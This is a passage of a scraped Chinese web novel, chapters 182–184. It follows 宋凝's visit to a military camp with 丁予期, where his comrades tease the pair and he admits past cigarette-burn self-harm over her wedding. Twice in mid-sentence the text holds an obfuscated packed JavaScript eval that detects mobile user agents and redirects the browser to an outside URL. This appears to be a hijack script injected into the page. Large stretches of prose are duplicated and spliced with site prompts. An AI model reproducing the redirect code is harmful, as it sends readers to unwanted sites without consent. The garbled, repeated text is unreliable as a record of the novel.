如果说这是一场男色盛宴,那丁予期就是这桌大餐里最合她胃口的那道菜。 丁予期脱离军营生活有许多年了,不过从未疏于锻炼,仍旧是穿衣显瘦,脱衣有肉的好身材,哪怕跟这么多比他更年轻的士兵站在一起也丝毫不显得逊色。 宋凝鼻端一热,觉得自己不能再看下去了,可表现在行动上还是慢了半拍。 陈老爷子见她对这些训练有几分兴趣,和蔼的跟她介绍起了今天的训练内容:“我现在带的这些孩子们不全都是新兵,也有跟丁予期同期的老部下,他们觉得这里适合发展,一直都没有离开。” 行,别手软。” 话是好话,就是热情的让宋凝险些招架不住。 她满心迷茫的一边点头一边想,这也能叫为人严肃么?是不是哪里误会了? 丁予期见宋凝露出傻眼的表情,却是**以为常的应声,还带着几分调笑:“外公,我如果是狗,那您是什么?” 陈老爷子呵呵:“我是你外公。” 丁予期:“……” 宋凝忍俊不禁。 果然姜还是老的辣,丁予期这个毒舌律师,还得老爷子治他。 宋凝回过神来莞尔一笑,是忽然有点明白这爷孙俩的相处模式了。 而陈景堂见自家小辈的同时也没忘了自己的正事,对丁予期吩咐道:“你来都来了,也别闲着,顺便跟他们一起去训练吧。” 他顺着正有士兵在操练的空地一指,然后和颜悦色的对宋凝说:“你跟我一起去旁边屋子里休息一会儿,别晒着了,最近天气热,女孩子就该照顾好自己。” 这变脸的速度未免太快了。 宋凝满头雾水的跟了过去,见陈老爷子要带她进的是旁边的休息室,不禁有点犹豫:“这合适么?” 这好像是军区**休息的地方。 陈老爷子和颜悦色的表示:“来者是客,没什么不合适的,再说了你是来探亲的,哪里有让群众在大太阳底下一起晒着的道理。” 宋凝想说丁予期现在好像也是群众,可话到嘴边忽然想起丁予期都没意见的事,她一个人外人何必多话?当即又把话咽了回去。 休息室不大,但是麻雀虽小,五脏俱全,还有一扇齐桌高的窗户能让人看清外面操场上的场景,显然就是为了观看外面的训练设计的。 陈老爷子见宋凝坐定,对这里还算适应,于是对随行的人员交代道:“有客人来就别等着了,去,炊事班这会儿都还在准备晚上的食材,去看看有没有什么好吃的解暑的,去弄点过来。” “是!”随行人员敬礼答应,然后一路小跑着离开了。 宋凝原本就感到受宠若惊,这时慌忙起身阻拦:“那个,外公,这就不必麻烦了吧!我不饿,也不渴!” 陈老爷子连连摆手:“一点也不麻烦,就算你不来,待会儿也得去炊事班给这帮小伙子拉解暑的西瓜和绿豆汤回来,顺便的事。” 他都这么说了,宋凝只能是强迫自己坐了回去,然后为了缓解内心的局促,侧目往外看去,结果非但没起到效果,反而让刚降温没几分钟的面颊再次开始发烫。 许是因为要入乡随俗的缘故,丁予期是自觉摘掉手表之类的配饰,又把上衣也给脱去,然后才跟其他训练中的士兵一样站到了操场上。 宋凝先前就见过他打赤膊的模样,其实是不至于对他的身材感到太惊讶的,可白天和晚上毕竟不一样,尤其现在他身边还多出了这么多对照组。 如果说这是一场男色盛宴,那丁予期就是这桌大餐里最合她胃口的那道菜。 丁予期脱离军营生活有许多年了,不过从未疏于锻炼,仍旧是穿衣显瘦,脱衣有肉的好身材,哪怕跟这么多比他更年轻的士兵站在一起也丝毫不显得逊色。 宋凝鼻端一热,觉得自己不能再看下去了,可表现在行动上还是慢了半拍。 陈老爷子见她对这些训练有几分兴趣,和蔼的跟她介绍起了今天的训练内容:“我现在带的这些孩子们不全都是新兵,也有跟丁予期同期的老部下,他们觉得这里适合发展,一直都没有离开。” 行,别手软。” 话是好话,就是热情的让宋凝险些招架不住。 她满心迷茫的一边点头一边想,这也能叫为人严肃么?是不是哪里误会了? 丁予期见宋凝露出傻眼的表情,却是**以为常的应声,还带着几分调笑:“外公,我如果是狗,那您是什么?” 陈老爷子呵呵:“我是你外公。” 丁予期:“……” 宋凝忍俊不禁。 果然姜还是老的辣,丁予期这个毒舌律师,还得老爷子治他。 宋凝回过神来莞尔一笑,是忽然有点明白这爷孙俩的相处模式了。 而陈景堂见自家小辈的同时也没忘了自己的正事,对丁予期吩咐道:“你来都来了,也别闲着,顺便跟他们一起去训练吧。” 他顺着正有士兵在操练的空地一指,然后和颜悦色的对宋凝说:“你跟我一起去旁边屋子里休息一会儿,别晒着了,最近天气热,女孩子就该照顾好自己。” 这变脸的速度未免太快了。 宋凝满头雾水的跟了过去,见陈老爷子要带她进的是旁边的休息室,不禁有点犹豫:“这合适么?” 这好像是军区**休息的地方。 陈老爷子和颜悦色的表示:“来者是客,没什么不合适的,再说了你是来探亲的,哪里有让群众在大太阳底下一起晒着的道理。” 宋凝想说丁予期现在好像也是群众,可话到嘴边忽然想起丁予期都没意见的事,她一个人外人何必多话?当即又把话咽了回去。 休息室不大,但是麻雀虽小,五脏俱全,还有一扇齐桌高的窗户能让人看清外面操场上的场景,显然就是为了观看外面的训练设计的。 陈老爷子见宋凝坐定,对这里还算适应,于是对随行的人员交代道:“有客人来就别等着了,去,炊事班这会儿都还在准备晚上的食材,去看看有没有什么好吃的解暑的,去弄点过来。” “是!”随行人员敬礼答应,然后一路小跑着离开了。 宋凝原本就感到受宠若惊,这时慌忙起身阻拦:“那个,外公,这就不必麻烦了吧!我不饿,也不渴!” 陈老爷子连连摆手:“一点也不麻烦,就算你不来,待会儿也得去炊事班给这帮小伙子拉解暑的西瓜和绿豆汤回来,顺便的事。” 他都这么说了,宋凝只能是强迫自己坐了回去,然后为了缓解内心的局促,侧目往外看去,结果非但没起到效果,反而让刚降温没几分钟的面颊再次开始发烫。 许是因为要入乡随俗的缘故,丁予期是自觉摘掉手表之类的配饰,又把上衣也给脱去,然后才跟其他训练中的士兵一样站到了操场上。 宋凝先前就见过他打赤膊的模样,其实是不至于对他的身材感到太惊讶的,可白天和晚上毕竟不一样,尤其现在他身边还多出了这么多对照组。 如果说这是一场男色盛宴,那丁予期就是这桌大餐里最合她胃口的那道菜。 丁予期脱离军营生活有许多年了,不过从未疏于锻炼,仍旧是穿衣显瘦,脱衣有肉的好身材,哪怕跟这么多比他更年轻的士兵站在一起也丝毫不显得逊色。 宋凝鼻端一热,觉得自己不能再看下去了,可表现在行动上还是慢了半拍。 陈老爷子见她对这些训练有几分兴趣,和蔼的跟她介绍起了今天的训练内容:“我现在带的这些孩子们不全都是新兵,也有跟丁予期同期的老部下,他们觉得这里适合发展,一直都没有离开。” 第一百八十二章 祖传的“双标” “日常训练对专业水平要求不高,主要是训练体能,所以他们放在一起练问题也不大,不过就是负重跑步、匍匐前进这些罢了。对了,还有个带点观赏性的障碍跑,特别适合用来展示。” 他如数家珍的列举着这些项目,而这些对丁予期来说全都是易如反掌,哪怕过去很多年也没忘干净。 宋凝不由自主的又把目光落回到操场上去了,见丁予期往腿上绑沙袋的动作干净利落,丝毫没有因为多年不练就生疏,不禁从心底对他多了分敬佩,再看他时不由自主的就带上了点滤镜。 不管怎么说他在当硬汉方面还是颇有几分魅力的,嘴巴毒,总爱跟她争个高低的“缺点”立刻变得可以忽略不计了。 陈老爷子见宋凝看的目不转睛,面上波澜不惊,心里其实早就乐开了花,不为别的,就为刚刚这出表演是他特意为她安排的。 男子汉大丈夫,想追求女孩子总得学会展示自己,孔雀求偶都知道开屏呢! 一片蝉鸣声中,丁予期被多年未见的老友们围在中间,一鼓作气的问了许多问题。 “丁哥,你都退伍这么多年了,竟然还是没荒废,一定没少偷着练吧?看这肌肉,还是挺有男人味的。” “人家丁哥那是因为长得帅,不像你,就算晒黑了也是黑炭,增加不了男人味。” “你们倒是问点有营养的话,他都这么长时间没回来了,肯定不只是在忙工作,该不会已经讨到媳妇,回归家庭当奶爸了吧?” 末尾这句揶揄引起了众人的哄笑声。 丁予期亦是哼笑一声道:“去你们的吧,就知道拿我开涮,我要是真的结婚生子,能少了你们的请柬么?非得让你们这帮一毛不拔的家伙狠狠出次血才行。” 兄弟们平时互损惯了,听到这里都是笑,有人更是捕捉到潜台词,调侃道:“看来咱们丁哥还是黄金单身汉,没能抱得美人归啊。” “唉,丁哥也真是够痴情的了,这么多年过去心里就那一个女人。” “这都能申请当情圣了……” 旁边的人听见他们越说越离谱,连忙拽了说话的人一把:“去去去,别的事能说,这事是能说的么?不知道丁哥多难过啊!” 最先提起这件事的人意识到失言,马上变了脸色找补:“对不起,丁哥,我没有别的意思,只是……只是……唉!瞧我这张嘴!” “没关系,你们不必这么紧张。”丁予期不以为意的摆了摆手,唇角还浮着一抹笑容。 兄弟们面面相觑,全都是吃了 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 一惊的模样。 这事放在从前是丁予期的痛处来着,他提别的事都无所谓,唯独对这件事耿耿于怀,甚至会痛苦到旁人看了都替他难受的地步。 直到有人恍然大悟的想起一件事,这满是疑问的氛围才总算被打破:“我想起来了,刚刚训练的时候,丁哥不是就从旁边过去了么?我记得他还跟一个女孩子手牵手,这一定是成了啊!” 他们正说着,大拿他们几个也过来了,远远的听见大伙儿在讨论丁予期的婚姻大事,丝滑的加入到了其中。 老姚故意神秘兮兮的表示:“何止是成了啊,他现在盯人家跟盯眼珠子似的,生怕小嫂子跑了呢。” 萝卜连连点头:“你们见的还是少了,别看他现在表现的这么酷,可是早就被人家姑娘给钓成翘嘴了……” 他们两个添油加醋的说了好一番故事,听的其他人都对这位嫂子肃然起敬,能让丁哥心甘情愿的做小伏低,答案只有一个,那就是她跟丁予期念念不忘许多年的白月光是一个人! 丁予期面对这帮兄弟的好奇,自始至终都是笑微微的随便他们调侃,这不仅是默认了他们这些夸张的说法,甚至还毫不介意他们说的再夸张些。 与此同时,宋凝则是见识到了什么叫祖传的“双标”。 陈老爷子在工作中的态度 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16232276|177983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟他威严的气质很相符,对下属们相当严厉,让每个来找他汇报工作的人都战战兢兢,像是生怕下一秒天就塌了。 可这样严厉的一个人,对宋凝的态度却堪称和颜悦色,这样的反差让她晕头了好一会儿都没想明白,直到先前的随行人员送完了绿豆汤和西瓜,带着给她准备的小灶回来。 陈老爷子对她比对待自家小辈还和气,指着切成小块的西瓜、点心和旁边的绿豆汤说:“炊事班的手艺不精致,但味道绝对没得说,你先凑合着尝尝看,等晚上丁予期训练完,他带你去食堂。” “谢谢外公。”宋凝拿着炊事班给准备的牙签,小口小口的吃着西瓜,是个自觉不好意思,却又不想浪费了陈老爷子的好意的模样。 这样文静懂事的模样正是长辈们最喜欢的类型。 陈老爷子越看宋凝的表现越喜欢,不失感怀的说:“丁予期他妈妈生孩子的时候,我一直盼着能再有个贴心小棉袄,虽然他是个好孩子,但这也算是我的遗憾,现在他能把你带回家就太好了。” 宋凝动作顿了一瞬,倒不是对自己不自信,而是想起了他和丁予期目前是假结婚的事,陈老爷子这么期待她和他的婚事,如果知道了真相会不会很难过? “其实我也……”她想说些让陈老爷子别这么期待的话,可一对上他殷切的目光就说不出口了,唯有浅浅呼吸着改口,“其实我也没有那么好,真的。” 陈老爷子面对她时的表情总算变得严肃起来了,但却是一本正经道:“瞎说,我看你这个姑娘哪里都好,是不是丁予期平时欺负你了?让你这么不自信?” “没有,他对我很好,就是忽然想到的。”宋凝连忙摇头把这一茬给带了过去。 陈老爷子这才瞧着宽心了些,又向她询问道:“你们想好几时办婚礼了么?现在年轻人都追求个性,我这个做长辈的也不好过多参与什么,但依我看还是该挑个好日子,热热闹闹的办一场。” “我们……暂时还没想好。” 第一百八十三章 没刻意说,也没刻意藏 宋凝心虚不已的低下头去试图以此逃避婚期的话题但却架不住陈老爷子实在是急着把她娶进门。 “你们要是不着急或者没别的意见婚期的事就交给我们这些做长辈的来忙吧到时候直接挑几个黄道吉日出来你们负责选就行了。嗯婚礼的场面更是不能小亲朋好友都得请来……” 陈老爷子已然畅想起了他们婚礼上的场景让宋凝更加没办法把事情说出口了而正在她坐立难安的时候一通电话及时解救了她。 丁予期人在外面不远处但却特意打了个电话过来:“你能出来一下么?” 烈日下丁予期的目光在闪闪发亮他一手将手机贴在耳边一手对着宋凝作招手状笑容标准的可以去做宣传照。 宋凝顾不上欣赏近在眼前的男色而是忙不迭的应了声“好”就把电话挂断然后看向陈老爷子道:“陈老爷子是丁予期的电话我出去一趟。” 这通电话简直是救她于水火之中。 陈老爷子巴不得他们感情能更好些闻言连连点头:“快去吧 宋凝不住的应声同时脚步走的飞快一直跑到先前丁予期站过的空地边缘才如蒙大赦的松了口气:“你找我什么——” 话音随着她抬头的动作戛然而止。 这里哪儿还有丁予期的身影?分明是站满了打赤膊的年轻士兵一眼看过去全是颇有冲击力的年轻男人的脸庞和肌肉线条。 这帮人的身材近看比远看还要来得更赏心悦目。 “抱歉我是来找人的。”宋凝脸腾一下又红了目光闪烁的问“丁予期去哪儿了?我有事找他。” 众人异口同声的开始指明方向“这儿呢!” 说话间丁予期从中间位置走了出来他伸出刚刚特意去洗过的手朝着宋凝的方向做了个邀约的姿势道:“走我带你见见我的兄弟们都是从前在一个营里的认识的也是老爷子的部下。” 宋凝脸上一阵阵的发烧但到底没有把手抽走而是任由丁予期牵起她的手带着她去到这帮年轻人围着的中间位置朗声介绍道:“这位就是你们的嫂子宋凝。” 言简意赅的一句话就把该说的都说了。 众人早在宋凝先前匆匆亮相时就注意到她是个大美人了这时见她跟丁予期站在一起如此般配更是发自内心的为他们感到高兴纷纷 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 说起祝福的话来。 “我就说丁哥这么长时间没回来,绝对是在办大事,这不,总算把人生大事给搞定了!什么时候请大伙儿喝喜酒,我们肯定不吝啬!” “我保证包个大红包!谁让丁哥想了这么多年,总算夙愿得偿了呢!” “嫂子,丁哥对你念念不忘这么多年,我们都猜你肯定是个大美人,但谁也没想到你比电视里的明星还漂亮,难怪他放不下……” 他们说着调侃的话,宋凝感觉快要脚趾抓地了。 她偷偷捅了捅身边的男人:“怎么大家都知道?这种事你还广而告之啊?” 丁予期倒是一片坦然:“没刻意说,也没刻意藏。” “那他们怎么知道是我?” 丁予期笑而不语,一副卖关子的样子。 宋凝被这么多束目光注视着,一时半会也懒得因为这个问题跟他当众掰头。 正在她纠结之时,急性子的萝卜先忍不住了,激动的插话道:“嫂子,你是不知道,丁哥他这个人就是嘴坏,但真喜欢上一个人绝对是掏心掏肺。” 老姚提起这事来更是激动的拍大腿:“谁说不是呢,我现在都还记得他手上那些疤有多吓人,刚被烟头烫到的时候——” 他的话说到一半,忽然被身侧的萝卜用力拽了一把,马上就硬生生的把话给咽回去了。 宋凝望着他欲言又止的表情,实在没法不感到好奇,尤其是看到萝卜和其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16232277|177983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他人都讳莫如深,更是按捺不住的问了句:“好端端的,他为什么会被烟头烫到?” 老姚眼神飘忽,一个劲儿往别处看去,表情看起来就快被憋**。 宋凝先看了一眼他身边的萝卜,见对方不住的在给其他人使眼色,知道追问其他人是没用的了,果断看向丁予期这个当事人问:“能给我看看你手上的疤么?烫伤可不好治,是会留疤的。” 其实如果仅仅是烫伤的话倒也还好,但用烟头烫的可就不一样了,据说很久以前的僧人就是靠燃烧中的线香烫戒疤的,而两者原理想必没什么区别。 宋凝之前一直以为他手上的色差是皮肤病,原来……是烫伤留下的? 老姚:“嫂子,那可都是他自己烫的。” 宋凝惊了:“为什么?” 老姚耸了耸肩:“变态吧。” 宋凝看丁予期的目光顿时变得复杂起来。 丁予期见她神情复杂的在瞧他的手,无奈的笑了一下,抬手道:“那时候我还太年轻,又经历了心情上的大起大落,所以才会做事冲动了些,你不要怕,我平时绝对不会做这么偏激的事。” 他在宋凝面前一直以成熟理智的形象示人,好不容易才获得了她的信任,这时眼里毫无对从前疼痛的感伤,满是对回顾黑历史的逃避。 老姚说这些是本意是为了助攻一把,推进他们两个的感情进展,眼见要因为失言起到副作用,真是肠子都悔青了,连忙亡羊补牢道:“那什么,绿豆汤再不喝就放热了,大家去喝点吧。” 其他人看看明显是有悄悄话要说的宋凝和丁予期,又看看树荫底下解暑的绿豆汤,马上很有眼力见的都跑了过去。 操场这边就剩下丁予期和宋凝两个人在,亦是立刻变得空旷起来。 丁予期抬手往宋凝额前作搭凉棚状,温声道:“你脸都晒红了,我们去个阴凉地说吧,不管你想知道什么,我都告诉你。” 第一百八十四章 因为那天你结婚 他想起那时的事,脸上也在跟着发烫。 这时简直要为天气够热感到庆幸,否则他连掩饰自己异样脸色的借口都没有。 殊不知宋凝其实也是这样想的,她也急需时间做好心理建设,免得他会给出个匪夷所思的说法。 两人几乎是怀着同样的心事去到了另一边的树下。 这棵树枝繁叶茂,如果不是长在军营里,而是长在大学校园里,想必会见证许多人的青春岁月,可现在的它只能给丁予期和他从前的失落痛苦做个见证。 丁予期抬手抚上粗糙的树干,哑声道:“因为……那天你结婚了。” 有些事本就不需要多复杂的解释,只不过讲起来实在是不堪回首,仿佛在回顾的黑历史是可以靠不提糊弄过去的小事。 宋凝听到结婚一词,已经觉得恍如隔世,像是发生在上辈子的事了,不禁纳闷道:“值得么?” “当然值得。”丁予期毫不犹豫的点了头。 “我后悔的只是不该用如此偏激,有可能吓到你的方式,但我不会对这么做感到后悔,因为如果不是这样,我恐怕早就藏不住自己的心思了,那天在你们的婚礼上,我很想上台去抢婚。” 他时至今日都忘不了那一天的场景,当宋凝对傅东擎说出那句我愿意,然后甜蜜的戴上婚戒的时刻,他的心其实也碎了。 丁予期用他所能做到的最平和的表情苦笑了一下:“说来也真是够可笑的,如果我那时候能更勇敢点,你后来就不必经历那么多痛苦和背叛了,但那时的我实在是够懦弱,只敢伤害自己。” 他说着,在宋凝面前抬起那只她曾趁他睡着,仔细观察过的手臂解释道:“这些黄斑就是那时留下的痕迹,我浑浑噩噩了一阵,意识到这样做毫无意义,便想着祛疤,但却失败了。” 祛疤可比留疤难度大多了,即便他什么法子都试了,也还是留下了酷似皮肤病的印记。 宋凝没想到自己会在这样的情况下弄清楚那些黄疤的来源,不由的喉头一涩:“疼么?” “早就不疼了。”丁予期勾起唇角,活动了一下这只手臂说,“虽然是留了疤,但毕竟是皮肉伤,愈合之后几乎就没感觉了。” 宋凝不禁蹙眉强调道:“我问的是当时疼不疼,现在当然不疼了。” 丁予期没有正面回答这个问题,而是笑着说:“这么多年过去,当然早就没事了,男子汉大丈夫,还会在意这点小事么?” 他其实还有另外半句话没说出口,皮肉伤再疼也不会比那时他的心伤 更疼了。 宋凝只是在感情方面略有些迟钝,却还不至于连这样的事都理解不了,她看穿了他掩藏在笑容底下的心底旧伤,颇受触动的同时也选择了不再提这一茬。 一下午的时间过的极快,不知不觉中就到了打铃的时候。 丁予期拿出了还在这里当兵时的雷厉风行,用最快的速度套上衣服擦干净手,然后一把牵起宋凝的手道:“走!我带你吃饭去!” 两人一路小跑,混在浩浩荡荡的穿迷彩服的打饭大军里显眼得很,几乎在进入食堂的那一刻就成了焦点般的存在。 丁予期在这里服过役,又是陈**的外孙,几乎这里的每个人都认识他,就连负责打饭的炊事班都能跟他打个招呼,说几句话:“丁哥,你总算想起回来看看我们这些兄弟了,这是嫂子吧?” 军营里生活单调枯燥,但凡有点风吹草动,马上就会被传的到处都是,像丁予期带了个被他称呼是未婚妻的女孩子来这样的大事更是已经彻底传开了。 宋凝面颊微微发烫,低下头去将一缕散发别到耳后,小声对丁予期说:“你在这里有这么多熟人,不如我们换个地方吃饭吧?” 她对军营里的食堂其实很感兴趣,但每经过一个窗口就会有人盯着看,哪怕对方面带笑容并没有恶意,也照样是让人招架不住。 丁予期自然是以她的感受为重:“好,我去外公那里要一套餐具,马上就回来。” 说着,他转身就要往外走去,被宋凝及时拦住道:“这点小事就不必惊动外公了吧?我看食堂里的餐具就能用,我看他老人家够忙的了,我若是再在这里挑三拣四,未免太不像样了。” 这里是军营,不是旅游景点,她是陪着唐婷她们来实地观摩的不假,但对自己该做什么,不该做什么还是有清醒认知。 丁予期笑着安抚道:“没什么不像样的,外公特别喜欢你,你若是向他提要求,只会让他感到高兴,而且食堂里的餐具不能外带,要换个地方吃的话,总不能随便用什么人的餐具。” 听这话的意思是打算现场去给她买一套新的。 宋凝恨不能把头摇成拨浪鼓,连忙表示:“别,这太麻烦了。” 丁予期温声道:“真的不麻烦。” 陈老爷子现在不怕宋凝有要求、高标准,就怕她凡事都好好好,行行行,那意味着她打心底里就没把他们当成自家人。 宋凝明白这个道理,可还是一码归一码的表示:“那不一样,我还是就在这里吃好了。” 反正其他人也没有恶意,她就当是来这里哄大家开心的好了,尤其是陈老爷子待她这样好,理应投桃报李,有点表示才行。 这时的宋凝尚且不知道,丁予期从前在这里到底过的有多如鱼得水。 丁予期仍旧是笑,是随便她怎么样都可以的模样,见她因为看过来的目光太多,所以显得有些不自在,主动给她介绍起了食堂的伙食:“军营里的食堂跟其它地方不同,各部队都有餐标。” “喏,你别看窗口这么多,但实行的是封闭化管理,从一类灶到四类灶,每个人饭卡里到账的金额都不一样,虽然不限数量,但质量是还是有区别的。对了,军犬餐标也不低。” 他不愧是养了三只德牧的人,不管什么话题都能谈到狗狗身上去。 宋凝莞尔一笑,放松了心情问:“那我们算什么标准?” 更疼了。 宋凝只是在感情方面略有些迟钝,却还不至于连这样的事都理解不了,她看穿了他掩藏在笑容底下的心底旧伤,颇受触动的同时也选择了不再提这一茬。 一下午的时间过的极快,不知不觉中就到了打铃的时候。 丁予期拿出了还在这里当兵时的雷厉风行,用最快的速度套上衣服擦干净手,然后一把牵起宋凝的手道:“走!我带你吃饭去!” 两人一路小跑,混在浩浩荡荡的穿迷彩服的打饭大军里显眼得很,几乎在进入食堂的那一刻就成了焦点般的存在。 丁予期在这里服过役,又是陈**的外孙,几乎这里的每个人都认识他,就连负责打饭的炊事班都能跟他打个招呼,说几句话:“丁哥,你总算想起回来看看我们这些兄弟了,这是嫂子吧?” 军营里生活单调枯燥,但凡有点风吹草动,马上就会被传的到处都是,像丁予期带了个被他称呼是未婚妻的女孩子来这样的大事更是已经彻底传开了。 宋凝面颊微微发烫,低下头去将一缕散发别到耳后,小声对丁予期说:“你在这里有这么多熟人,不如我们换个地方吃饭吧?” 她对军营里的食堂其实很感兴趣,但每经过一个窗口就会有人盯着看,哪怕对方面带笑容并没有恶意,也照样是让人招架不住。 丁予期自然是以她的感受为重:“好,我去外公那里要一套餐具,马上就回来。” 说着,他转身就要往外走去,被宋凝及时拦住道:“这点小事就不必惊动外公了吧?我看食堂里的餐具就能用,我看他老人家够忙的了,我若是再在这里挑三拣四,未免太不像样了。” 这里是军营,不是旅游景点,她是陪着唐婷她们来实地观摩的不假,但对自己该做什么,不该做什么还是有清醒认知。 丁予期笑着安抚道:“没什么不像样的,外公特别喜欢你,你若是向他提要求,只会让他感到高兴,而且食堂里的餐具不能外带,要换个地方吃的话,总不能随便用什么人的餐具。” 听这话的意思是打算现场去给她买一套新的。 宋凝恨不能把头摇成拨浪鼓,连忙表示:“别,这太麻烦了。” 丁予期温声道:“真的不麻烦。” 陈老爷子现在不怕宋凝有要求、高标准,就怕她凡事都好好好,行行行,那意味着她打心底里就没把他们当成自家人。 宋凝明白这个道理,可还是一码归一码的表示:“那不一样,我还是就在这里吃好了。” 反正其他人也没有恶意,她就当是来这里哄大家开心的好了,尤其是陈老爷子待她这样好,理应投桃报李,有点表示才行。 这时的宋凝尚且不知道,丁予期从前在这里到底过的有多如鱼得水。 丁予期仍旧是笑,是随便她怎么样都可以的模样,见她因为看过来的目光太多,所以显得有些不自在,主动给她介绍起了食堂的伙食:“军营里的食堂跟其它地方不同,各部队都有餐标。” “喏,你别看窗口这么多,但实行的是封闭化管理,从一类灶到四类灶,每个人饭卡里到账的金额都不一样,虽然不限数量,但质量是还是有区别的。对了,军犬餐标也不低。” 他不愧是养了三只德牧的人,不管什么话题都能谈到狗狗身上去。 宋凝莞尔一笑,放松了心情问:“那我们算什么标准?” 更疼了。 宋凝只是在感情方面略有些迟钝,却还不至于连这样的事都理解不了,她看穿了他掩藏在笑容底下的心底旧伤,颇受触动的同时也选择了不再提这一茬。 一下午的时间过的极快,不知不觉中就到了打铃的时候。 丁予期拿出了还在这里当兵时的雷厉风行,用最快的速度套上衣服擦干净手,然后一把牵起宋凝的手道:“走!我带你吃饭去!” 两人一路小跑,混在浩浩荡荡的穿迷彩服的打饭大军里显眼得很,几乎在进入食堂的那一刻就成了焦点般的存在。 丁予期在这里服过役,又是陈**的外孙,几乎这里的每个人都认识他,就连负责打饭的炊事班都能跟他打个招呼,说几句话:“丁哥,你总算想起回来看看我们这些兄弟了,这是嫂子吧?” 军营里生活单调枯燥,但凡有点风吹草动,马上就会被传的到处都是,像丁予期带了个被他称呼是未婚妻的女孩子来这样的大事更是已经彻底传开了。 宋凝面颊微微发烫,低下头去将一缕散发别到耳后,小声对丁予期说:“你在这里有这么多熟人,不如我们换个地方吃饭吧?” 她对军营里的食堂其实很感兴趣,但每经过一个窗口就会有人盯着看,哪怕对方面带笑容并没有恶意,也照样是让人招架不住。 丁予期自然是以她的感受为重:“好,我去外公那里要一套餐具,马上就回来。” 说着,他转身就要往外走去,被宋凝及时拦住道:“这点小事就不必惊动外公了吧?我看食堂里的餐具就能用,我看他老人家够忙的了,我若是再在这里挑三拣四,未免太不像样了。” 这里是军营,不是旅游景点,她是陪着唐婷她们来实地观摩的不假,但对自己该做什么,不该做什么还是有清醒认知。 丁予期笑着安抚道:“没什么不像样的,外公特别喜欢你,你若是向他提要求,只会让他感到高兴,而且食堂里的餐具不能外带,要换个地方吃的话,总不能随便用什么人的餐具。” 听这话的意思是打算现场去给她买一套新的。 宋凝恨不能把头摇成拨浪鼓,连忙表示:“别,这太麻烦了。” 丁予期温声道:“真的不麻烦。” 陈老爷子现在不怕宋凝有要求、高标准,就怕她凡事都好好好,行行行,那意味着她打心底里就没把他们当成自家人。 宋凝明白这个道理,可还是一码归一码的表示:“那不一样,我还是就在这里吃好了。” 反正其他人也没有恶意,她就当是来这里哄大家开心的好了,尤其是陈老爷子待她这样好,理应投桃报李,有点表示才行。 这时的宋凝尚且不知道,丁予期从前在这里到底过的有多如鱼得水。 丁予期仍旧是笑,是随便她怎么样都可以的模样,见她因为看过来的目光太多,所以显得有些不自在,主动给她介绍起了食堂的伙食:“军营里的食堂跟其它地方不同,各部队都有餐标。” “喏,你别看窗口这么多,但实行的是封闭化管理,从一类灶到四类灶,每个人饭卡里到账的金额都不一样,虽然不限数量,但质量是还是有区别的。对了,军犬餐标也不低。” 他不愧是养了三只德牧的人,不管什么话题都能谈到狗狗身上去。 宋凝莞尔一笑,放松了心情问:“那我们算什么标准?” 更疼了。 宋凝只是在感情方面略有些迟钝,却还不至于连这样的事都理解不了,她看穿了他掩藏在笑容底下的心底旧伤,颇受触动的同时也选择了不再提这一茬。 一下午的时间过的极快,不知不觉中就到了打铃的时候。 丁予期拿出了还在这里当兵时的雷厉风行,用最快的速度套上衣服擦干净手,然后一把牵起宋凝的手道:“走!我带你吃饭去!” 两人一路小跑,混在浩浩荡荡的穿迷彩服的打饭大军里显眼得很,几乎在进入食堂的那一刻就成了焦点般的存在。 丁予期在这里服过役,又是陈**的外孙,几乎这里的每个人都认识他,就连负责打饭的炊事班都能跟他打个招呼,说几句话:“丁哥,你总算想起回来看看我们这些兄弟了,这是嫂子吧?” 军营里生活单调枯燥,但凡有点风吹草动,马上就会被传的到处都是,像丁予期带了个被他称呼是未婚妻的女孩子来这样的大事更是已经彻底传开了。 宋凝面颊微微发烫,低下头去将一缕散发别到耳后,小声对丁予期说:“你在这里有这么多熟人,不如我们换个地方吃饭吧?” 她对军营里的食堂其实很感兴趣,但每经过一个窗口就会有人盯着看,哪怕对方面带笑容并没有恶意,也照样是让人招架不住。 丁予期自然是以她的感受为重:“好,我去外公那里要一套餐具,马上就回来。” 说着,他转身就要往外走去,被宋凝及时拦住道:“这点小事就不必惊动外公了吧?我看食堂里的餐具就能用,我看他老人家够忙的了,我若是再在这里挑三拣四,未免太不像样了。” 这里是军营,不是旅游景点,她是陪着唐婷她们来实地观摩的不假,但对自己该做什么,不该做什么还是有清醒认知。 丁予期笑着安抚道:“没什么不像样的,外公特别喜欢你,你若是向他提要求,只会让他感到高兴,而且食堂里的餐具不能外带,要换个地方吃的话,总不能随便用什么人的餐具。” 听这话的意思是打算现场去给她买一套新的。 宋凝恨不能把头摇成拨浪鼓,连忙表示:“别,这太麻烦了。” 丁予期温声道:“真的不麻烦。” 陈老爷子现在不怕宋凝有要求、高标准,就怕她凡事都好好好,行行行,那意味着她打心底里就没把他们当成自家人。 宋凝明白这个道理,可还是一码归一码的表示:“那不一样,我还是就在这里吃好了。” 反正其他人也没有恶意,她就当是来这里哄大家开心的好了,尤其是陈老爷子待她这样好,理应投桃报李,有点表示才行。 这时的宋凝尚且不知道,丁予期从前在这里到底过的有多如鱼得水。 